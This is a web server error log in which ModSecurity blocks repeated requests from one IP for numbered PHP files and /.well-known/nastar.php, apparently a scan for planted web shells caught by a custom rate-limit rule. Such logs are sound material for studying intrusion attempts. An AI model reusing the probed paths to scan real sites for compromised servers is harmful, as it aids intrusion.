[Fri Apr 17 14:32:30.403741 2026] [:error] [pid 9263:tid 9288] [client 74.234.56.128:26415] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3.php"] [unique_id "aeHT_hP68VyHNvj1e56inQAAANc"]
[Fri Apr 17 14:32:30.779912 2026] [:error] [pid 34273:tid 34297] [client 74.234.56.128:26378] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aeHT_muQDW686mK3dgHC3gAAAZY"]
[Fri Apr 17 14:32:30.908615 2026] [:error] [pid 34273:tid 34285] [client 74.234.56.128:25413] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3.php"] [unique_id "aeHT_muQDW686mK3dgHC3wAAAYo"]
[Fri Apr 17 14:32:31.302125 2026] [:error] [pid 9263:tid 9283] [client 74.234.56.128:26938] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aeHT_xP68VyHNvj1e56inwAAANI"]
[Fri Apr 17 14:32:31.445542 2026] [:error] [pid 61523:tid 61561] [client 74.234.56.128:24863] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3.php"] [unique_id "aeHT_8OaH-Pgc7WEf4NGBgAAAdM"]
[Fri Apr 17 14:32:31.907816 2026] [:error] [pid 9151:tid 9163] [client 74.234.56.128:26417] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aeHT_8hTVuRPkua22vQUeAAAAAI"]
[Fri Apr 17 14:32:32.074126 2026] [:error] [pid 9263:tid 9276] [client 74.234.56.128:24359] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4.php"] [unique_id "aeHUABP68VyHNvj1e56ioQAAAMs"]
[Fri Apr 17 14:32:32.516232 2026] [:error] [pid 9263:tid 9281] [client 74.234.56.128:26908] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aeHUABP68VyHNvj1e56ipQAAANA"]
[Fri Apr 17 14:32:32.592878 2026] [:error] [pid 61523:tid 61550] [client 74.234.56.128:24951] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4.php"] [unique_id "aeHUAMOaH-Pgc7WEf4NGCAAAAcg"]
[Fri Apr 17 14:32:33.097833 2026] [:error] [pid 9153:tid 9238] [client 74.234.56.128:24341] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aeHUAeMHGxkTZX3c45fO_gAAAJQ"]
[Fri Apr 17 14:32:33.118484 2026] [:error] [pid 9153:tid 9229] [client 74.234.56.128:25939] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4.php"] [unique_id "aeHUAeMHGxkTZX3c45fO_wAAAIs"]
[Fri Apr 17 14:32:33.655796 2026] [:error] [pid 9152:tid 9192] [client 74.234.56.128:26936] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4.php"] [unique_id "aeHUAZJYca8I3TNCwIf-JAAAAEI"]
[Fri Apr 17 14:32:33.656376 2026] [:error] [pid 9263:tid 9271] [client 74.234.56.128:26371] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aeHUARP68VyHNvj1e56ipwAAAMY"]
[Fri Apr 17 14:32:34.176221 2026] [:error] [pid 51878:tid 51902] [client 74.234.56.128:26910] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aeHUAknQhUtMbw9EsgYaTAAAARY"]
[Fri Apr 17 14:32:34.177542 2026] [:error] [pid 9263:tid 9278] [client 74.234.56.128:25883] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/5.php"] [unique_id "aeHUAhP68VyHNvj1e56iqAAAAM0"]
[Fri Apr 17 14:32:34.704539 2026] [:error] [pid 51878:tid 51880] [client 74.234.56.128:26883] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/5.php"] [unique_id "aeHUAknQhUtMbw9EsgYaTgAAAQA"]
[Fri Apr 17 14:32:34.747142 2026] [:error] [pid 9151:tid 9168] [client 74.234.56.128:26965] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aeHUAshTVuRPkua22vQUfwAAAAc"]
[Fri Apr 17 14:32:35.312406 2026] [:error] [pid 51878:tid 51901] [client 74.234.56.128:26999] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/5.php"] [unique_id "aeHUA0nQhUtMbw9EsgYaTwAAARU"]
[Fri Apr 17 14:32:35.334012 2026] [:error] [pid 51878:tid 51900] [client 74.234.56.128:26479] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aeHUA0nQhUtMbw9EsgYaUAAAARQ"]
[Fri Apr 17 14:32:35.842518 2026] [:error] [pid 9152:tid 9214] [client 74.234.56.128:26476] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/5.php"] [unique_id "aeHUA5JYca8I3TNCwIf-JgAAAFg"]
[Fri Apr 17 14:32:35.919681 2026] [:error] [pid 9151:tid 9166] [client 74.234.56.128:24390] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aeHUA8hTVuRPkua22vQUigAAAAU"]
[Fri Apr 17 14:32:36.385262 2026] [:error] [pid 9152:tid 9213] [client 74.234.56.128:26398] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6.php"] [unique_id "aeHUBJJYca8I3TNCwIf-JwAAAFc"]
[Fri Apr 17 14:32:36.440334 2026] [:error] [pid 9152:tid 9208] [client 74.234.56.128:27002] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3.php"] [unique_id "aeHUBJJYca8I3TNCwIf-KAAAAFI"]
[Fri Apr 17 14:32:36.926352 2026] [:error] [pid 9152:tid 9199] [client 74.234.56.128:26990] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6.php"] [unique_id "aeHUBJJYca8I3TNCwIf-KQAAAEk"]
[Fri Apr 17 14:32:37.083516 2026] [:error] [pid 9152:tid 9205] [client 74.234.56.128:26406] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3.php"] [unique_id "aeHUBZJYca8I3TNCwIf-KgAAAE8"]
[Fri Apr 17 14:32:37.573765 2026] [:error] [pid 9152:tid 9212] [client 74.234.56.128:24414] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6.php"] [unique_id "aeHUBZJYca8I3TNCwIf-KwAAAFY"]
[Fri Apr 17 14:32:37.619940 2026] [:error] [pid 9151:tid 9168] [client 74.234.56.128:26398] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3.php"] [unique_id "aeHUBchTVuRPkua22vQUlAAAAAc"]
[Fri Apr 17 14:32:38.086854 2026] [:error] [pid 25010:tid 25027] [client 74.234.56.128:24420] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6.php"] [unique_id "aeHUBo-7kkf42RarqQ1FhwAAAU4"]
[Fri Apr 17 14:32:38.374846 2026] [:error] [pid 9152:tid 9195] [client 74.234.56.128:24349] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3.php"] [unique_id "aeHUBpJYca8I3TNCwIf-LgAAAEU"]
[Fri Apr 17 14:32:38.591047 2026] [:error] [pid 9152:tid 9200] [client 74.234.56.128:27006] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9.php"] [unique_id "aeHUBpJYca8I3TNCwIf-LwAAAEo"]
[Fri Apr 17 14:32:38.928892 2026] [:error] [pid 25010:tid 25025] [client 74.234.56.128:24420] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4.php"] [unique_id "aeHUBo-7kkf42RarqQ1FigAAAUw"]
[Fri Apr 17 14:32:39.104757 2026] [:error] [pid 9151:tid 9161] [client 74.234.56.128:24364] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9.php"] [unique_id "aeHUB8hTVuRPkua22vQUmAAAAAA"]
[Fri Apr 17 14:32:39.504477 2026] [:error] [pid 9151:tid 9182] [client 74.234.56.128:26482] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4.php"] [unique_id "aeHUB8hTVuRPkua22vQUmgAAABU"]
[Fri Apr 17 14:32:39.656914 2026] [:error] [pid 9153:tid 9227] [client 74.234.56.128:25982] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9.php"] [unique_id "aeHUB-MHGxkTZX3c45fPAgAAAIk"]
[Fri Apr 17 14:32:40.234380 2026] [:error] [pid 9263:tid 9282] [client 74.234.56.128:26923] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9.php"] [unique_id "aeHUCBP68VyHNvj1e56isgAAANE"]
[Fri Apr 17 14:32:40.375386 2026] [:error] [pid 9263:tid 9278] [client 74.234.56.128:26379] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4.php"] [unique_id "aeHUCBP68VyHNvj1e56iswAAAM0"]
[Fri Apr 17 14:32:40.762840 2026] [:error] [pid 9152:tid 9204] [client 74.234.56.128:25940] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/10.php"] [unique_id "aeHUCJJYca8I3TNCwIf-MQAAAE4"]
[Fri Apr 17 14:32:41.117073 2026] [:error] [pid 9263:tid 9266] [client 74.234.56.128:25865] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4.php"] [unique_id "aeHUCRP68VyHNvj1e56itgAAAME"]
[Fri Apr 17 14:32:41.361475 2026] [:error] [pid 9151:tid 9183] [client 74.234.56.128:25977] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/10.php"] [unique_id "aeHUCchTVuRPkua22vQUnQAAABY"]
[Fri Apr 17 14:32:41.674086 2026] [:error] [pid 9152:tid 9198] [client 74.234.56.128:26913] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/5.php"] [unique_id "aeHUCZJYca8I3TNCwIf-MgAAAEg"]
[Fri Apr 17 14:32:41.962883 2026] [:error] [pid 9263:tid 9276] [client 74.234.56.128:26923] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/10.php"] [unique_id "aeHUCRP68VyHNvj1e56iuQAAAMs"]
[Fri Apr 17 14:32:42.516276 2026] [:error] [pid 9263:tid 9267] [client 74.234.56.128:25378] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/5.php"] [unique_id "aeHUChP68VyHNvj1e56iuwAAAMI"]
[Fri Apr 17 14:32:42.581526 2026] [:error] [pid 9263:tid 9273] [client 74.234.56.128:25942] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/10.php"] [unique_id "aeHUChP68VyHNvj1e56ivAAAAMg"]
[Fri Apr 17 14:32:43.116531 2026] [:error] [pid 9263:tid 9280] [client 74.234.56.128:26459] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/100.php"] [unique_id "aeHUCxP68VyHNvj1e56ivgAAAM8"]
[Fri Apr 17 14:32:43.267312 2026] [:error] [pid 9152:tid 9214] [client 74.234.56.128:26970] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/5.php"] [unique_id "aeHUC5JYca8I3TNCwIf-NQAAAFg"]
[Fri Apr 17 14:32:43.678455 2026] [:error] [pid 9153:tid 9218] [client 74.234.56.128:26898] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/100.php"] [unique_id "aeHUC-MHGxkTZX3c45fPAwAAAIA"]
[Fri Apr 17 14:32:43.971941 2026] [:error] [pid 9152:tid 9209] [client 74.234.56.128:26882] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/5.php"] [unique_id "aeHUC5JYca8I3TNCwIf-OAAAAFM"]
[Fri Apr 17 14:32:44.223232 2026] [:error] [pid 9263:tid 9285] [client 74.234.56.128:26468] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/100.php"] [unique_id "aeHUDBP68VyHNvj1e56ivwAAANQ"]
[Fri Apr 17 14:32:44.753502 2026] [:error] [pid 9263:tid 9282] [client 74.234.56.128:26460] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/100.php"] [unique_id "aeHUDBP68VyHNvj1e56iwQAAANE"]
[Fri Apr 17 14:32:44.803105 2026] [:error] [pid 9263:tid 9278] [client 74.234.56.128:26909] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6.php"] [unique_id "aeHUDBP68VyHNvj1e56iwgAAAM0"]
[Fri Apr 17 14:32:45.351696 2026] [:error] [pid 9152:tid 9190] [client 74.234.56.128:25861] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aeHUDZJYca8I3TNCwIf-OwAAAEA"]
[Fri Apr 17 14:32:45.794145 2026] [:error] [pid 9263:tid 9284] [client 74.234.56.128:25423] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6.php"] [unique_id "aeHUDRP68VyHNvj1e56ixQAAANM"]
[Fri Apr 17 14:32:45.857850 2026] [:error] [pid 9263:tid 9286] [client 74.234.56.128:25396] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aeHUDRP68VyHNvj1e56ixgAAANU"]
[Fri Apr 17 14:32:46.573759 2026] [:error] [pid 9263:tid 9289] [client 74.234.56.128:25462] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aeHUDhP68VyHNvj1e56iyAAAANg"]
[Fri Apr 17 14:32:46.659211 2026] [:error] [pid 25010:tid 25015] [client 74.234.56.128:24327] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6.php"] [unique_id "aeHUDo-7kkf42RarqQ1FkgAAAUI"]
[Fri Apr 17 14:32:47.128581 2026] [:error] [pid 9151:tid 9181] [client 74.234.56.128:26916] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aeHUD8hTVuRPkua22vQUngAAABQ"]
[Fri Apr 17 14:32:47.548472 2026] [:error] [pid 9263:tid 9281] [client 74.234.56.128:24877] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6.php"] [unique_id "aeHUDxP68VyHNvj1e56iygAAANA"]
